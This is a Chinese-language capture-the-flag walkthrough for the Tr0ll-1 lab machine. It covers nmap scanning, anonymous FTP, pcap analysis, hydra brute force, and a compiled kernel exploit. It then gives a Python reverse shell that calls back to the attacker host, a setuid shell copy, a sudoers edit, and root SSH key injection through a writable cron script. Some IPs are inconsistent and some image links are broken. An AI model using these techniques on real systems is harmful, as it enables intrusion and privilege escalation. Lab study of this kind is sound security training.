靶机04
靶机描述:Tr0ll的灵感来自OSCP实验室中不断摇曳的机器
目标:得到root权限&找到proof.txt
靶机ip:192.168.64.190
Kali(攻击ip):192.168.64.165
4、项目四:Tr0ll-1
1)信息收集
1、nmap挖掘信息
我们在VM中需要确定攻击目标的IP地址,需要使用nmap获取目标IP地址:
我们已经找到了此次CTF目标计算机IP地址:192.168.64.190
我们开始探索机器。第一步是找出目标计算机上可用的开放端口和一些服务
命令:nmap -sS -sV -T5 -A -p- 192.168.64.190
我们可以在上面看到Nmap找到开放的端口22、80,其中暴露的robots.txt和/ secret目录,还有FTP带有匿名登录名:Anonymous FTP login allowe
遵循Nmap的线索,开始进行攻击
登录ftp,账号密码:
Anonymous
Anonymous
查看当前目录,我们发现有一个名为lol.pcap的文件分析包,将文件下载到本地使用Wireshark打开查看(Wireshark需要必须掌握的知识
Exit>>wireshark lol.pcap查看流量包进行分析
wireshark对流量界面右键->追踪流量->TCP流量!
获得tcp.stream eq 1和tcp.stream eq 2等信息:
追踪tcp流:tcp.stream eq 1:第一个流显示了一个文件secret_stuff.txt
追踪tcp流:tcp.stream eq 2:sup3rs3cr3tdirlol
页面枚举http://10.211.55.32/sup3rs3cr3tdirlol/
roflmao下载!
页面枚举http://10.211.55.32/0x0856BF/
存在两页页面:good_luck/ this_folder_contains_the_password/
wireshark打开lol.pcap 发现提示:
FTP Data …secret_stuff.txt
FTP Data Well, well, well, aren’t you just a clever little devil, you almost found the sup3rs3cr3tdirlol Sucks, you were so close… gotta TRY
(硬生生给你们手打出来的…)
鉴于只发现了SSH/FTP/HTTP,英文说让我使用root/sup3rs3cr3tdirlol登陆ssh 失败告终!
Web端访问sup3rs3cr3tdirlol目录
发现二进制文件,下载并保存roflmao.txt
**2、**枚举二进制文件
简单分析该文件,文件类型、底层信息、夹层文件都没有什么有用的
Strings看其包含的二进制码信息,看看底层ascll码信息
发现是乌班图4.2版本和一个提示地址信息,于是访问二进制文件地址
页面枚举http://192.168.64.190/0x0856BF/
访问,发现连个文件夹,包含账号和密码
**3、**页面爬行数据
将文件下的内容复制到本地创建内准备爆破
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YG6icChe-1673861566308)(C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml7796\wps51.jpg)]
2)暴力破解
hydra暴力破解
账号:overflow
密码:Pass.txt
3)提权
1、登录系统ssh
拿到伪shell
$ python -c 'import pty;pty.spawn("/bin/bash")'
cd /tmp
$ uname -a
Linux 4-Tr0ll 3.13.0
searchsploit Linux 4-ubantu 3.13.0:只有两个符合的
查看利用方法
2、利用37292.c提权**:**
登录:ssh overflow@10.211.55.32 密码:Pass.txt
再将本地文件上传的伪shell里面
Pass.txt
python -c ‘import pty; pty.spawn(“/bin/bash”)’ cd /tmp nc
-tvlp 9999 python -m SimpleHTTPServer 80wget http://192.168.64.165:8081/37292.c(注意:这里要在tmp目录下才能上传成功)
然后在伪shell里面继续操作,wegt到本机kali的ip182.168.64.165
gcc 37292.c -o cmy
./cmy
# cat proof.txt
Good job, you did it!
702a8c18d29c6f3ca0d99ef5712bfbdc
4)拓展思路
1、枚举可写文件
2、枚举计划任务
3、编写python反弹shell
- 反弹shell
- 创建root可执行程序
- 写入ssh rsa
可执行计划任务,
!!!这里上传文件的时候发现有计划任务,无法同步上传
找计划任务并修改:
《find / -name cronlog 2>/dev/null ---查看计划任务日志信息
find / -name cleaner.py 2>/dev/null ---查看文件在哪儿
find / -writable 2>/dev/null ---枚举所有可写入权限的文件
find / -perm -o+w -type f 2> /dev/null | grep /proc -v ---枚举/lib/log/cleaner.py》
\>> 找到该路径: /lib/log/cleaner.py
知道了计划任务和py脚本可写入,以及py的位置后,那么方法千万种,接下来演示三种直接获取root权限的技巧:
1)反弹shell
nc -tvlp 9999
#!/usr/bin/python
def con():
import socket, time,pty, os
host=‘192.168.64.165’
port=9999
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.settimeout(10)
s.connect((host,port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv(“HISTFILE”,‘/dev/null’)
pty.spawn(“/bin/bash”)
s.close()
con()
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wEmTiw9f-1673861566313)(C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml7796\wps62.jpg)]
这里回弹成功
流程:登录ssh后>>python -c ‘import pty; pty.spawn(“/bin/bash”)’ >> cd /tmp>>nano //lib/log/cleaner.py 加入反弹监听端口代码:
nc -tvlp 9999 打开后,保存ctrl+x | y保存
----------
2)创建root可执行程序,获得root权限(这里)
还是ssh连接后在tmp下,nano /lib/log/cleaner.py加入root可执行代码
===================
#!/usr/bin/python
import os
import sys
try:
os.system(‘cp /bin/sh /tmp/cmy1’)
os.system(‘chmod u+s /tmp/cmy1’)
except:
sys.exit()
===================================
os.system(‘cp /bin/sh /tmp/dayu1’)
os.system(‘chmod u+s /tmp/dayu1’)
保存后本地生成cmy1的shell`
或者编辑脚本以将用户溢出添加到sudoers文件中可以sudo su到root用户:
os.system(‘echo “overflow ALL=(ALL) ALL” >> /etc/sudoers’)
cd /tmp
ls
./sh
cd /root
ls
cat proof.txt
3)写入ssh rsa,ssh登录root用户(这里利用私钥和密钥对碰的特性,不用登录root,执行获取root权限)
初始化
生成密匙
ssh-keygen —都空格回车
cd ~/.ssh
cat id_rsa.pub
mkdir /root/.ssh; chmod 775 .ssh; echo “加上 id_rsa.pub产生的密匙内容上图有例子” >> /root/.ssh/authorized_keys
mkdir/root/.ssh; chmod 775 .ssh; echo “ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABgQD44fjLqPRs7HlB5R4or2pSJBQbNZhXsL09pV8JzX/Kln2b1jtLNpZNoExq0qMosiR/BJ6MbeHtN+ZUAByCxXhi5tFMJ3oWQlTXzFEtjcXs71HqywyBZGTpG/7Uf/zhFz8RSdjdG+GMlriHbzmEzYJRd5666ip24Xg9/VD4TA+k3OeRD0OtfMSkn1xS98KBdtcxLcAUntrJgW7TDjsyHUf1df7J9faSS7yMBmj208rgFJosV43s9Fg3xg6cOF1HVm/m2fbMKyxrBAJunKMVAW+HZHiCqXk2EjYpEMxjqi937AgZ7KCBpq6S1MjzQyirgH6aESeOOJgswgDcJs9Gw2BuPXLikfKf0w7rt/xtwD4PNNIhSrPVYm0fIntoxpiwirAtpWgl6tZ2h+IqTSs6X9JpQvEolHs+hh+cAm5xR2tai8p2LUJYOi9GsfbPNIbXcwP7+Z1hnUHYQPUgmeQDXgDJp8NWK+1NoX7uZPbqNE4GqslqE1K2q5nmH8LSd9Jc3yU=
root@dayu” >> /root/.ssh/authorized_keys
加入初始化引号内之后保存,等待断开再次连接,和之前不一样,直接使用root登录!
这里参照师傅的完成了,但是因为格式问题一直出错,最后完完整整的才弄好,直接
Ctrl +x |y root权限登录了
这里就拿到root的shell